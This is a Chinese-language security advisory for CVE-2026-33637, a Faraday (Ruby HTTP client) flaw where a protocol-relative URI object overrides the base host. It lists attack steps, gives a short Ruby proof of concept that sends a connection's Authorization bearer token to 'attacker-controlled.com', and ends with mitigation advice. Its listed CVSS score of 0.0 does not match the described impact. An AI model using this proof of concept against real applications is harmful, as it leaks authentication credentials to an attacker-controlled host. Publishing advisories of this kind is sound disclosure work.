IPBUF安全漏洞报告
English
CVE-2026-33637 CVSS 0.0

CVE-2026-33637 Faraday协议相对主机覆写漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-33637
漏洞类型
请求伪造
CVSS评分
0.0 无
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Faraday

相关标签

Faraday请求伪造SSRFRuby权限绕过

漏洞概述

Faraday HTTP客户端库在2.0.0至2.14.1版本中存在安全漏洞。当请求目标作为URI对象传递时,仍允许协议相对主机覆写,绕过了2026年2月的修复。这可能导致非主机请求伪造,将带有敏感信息的请求重定向到攻击者控制的主机。

技术细节

该漏洞源于Faraday::Connection#build_exclusive_url方法在处理URI对象时的逻辑缺陷。尽管此前修复了相关漏洞,但URI对象的特殊处理允许通过协议相对URL(如//evil.com)覆盖目标主机。利用此漏洞时,攻击者可以操纵请求目标,同时保留连接范围的默认值,如Authorization头和默认查询参数,导致敏感认证信息泄露。

攻击链分析

STEP 1
识别
攻击者识别目标应用使用了易受攻击版本的Faraday库(2.0.0至2.14.1)。
STEP 2
构造
攻击者构造一个特殊的URI对象,使用协议相对格式(例如 '//evil.com/path')作为请求目标。
STEP 3
触发
攻击者诱导应用将该URI对象传递给Faraday连接的请求方法(如get或post)。
STEP 4
利用
Faraday库错误解析URI,忽略原有Base URL,将请求发送至攻击者控制的主机,并附带连接作用域的敏感头信息(如Authorization)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
require 'faraday' # Setup a connection with a base URL and an Authorization header conn = Faraday.new('https://api.example.com') do |f| f.headers['Authorization'] = 'Bearer secret-token' f.adapter :net_http end # Exploit: Pass a URI object with a protocol-relative host # This bypasses the fix and sends the request to evil.com malicious_uri = URI.parse('//attacker-controlled.com/log') # The request goes to https://attacker-controlled.com/log # with the header 'Authorization: Bearer secret-token' response = conn.get(malicious_uri)

影响范围

Faraday >= 2.0.0, <= 2.14.1

防御指南

临时缓解措施
建议开发者严格校验传入的URI对象格式,避免直接使用用户输入的协议相对URL。在无法立即升级的情况下,应审查代码中对Faraday::Connection#build_exclusive_url的调用,确保未将不可信的URI对象作为参数传递。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表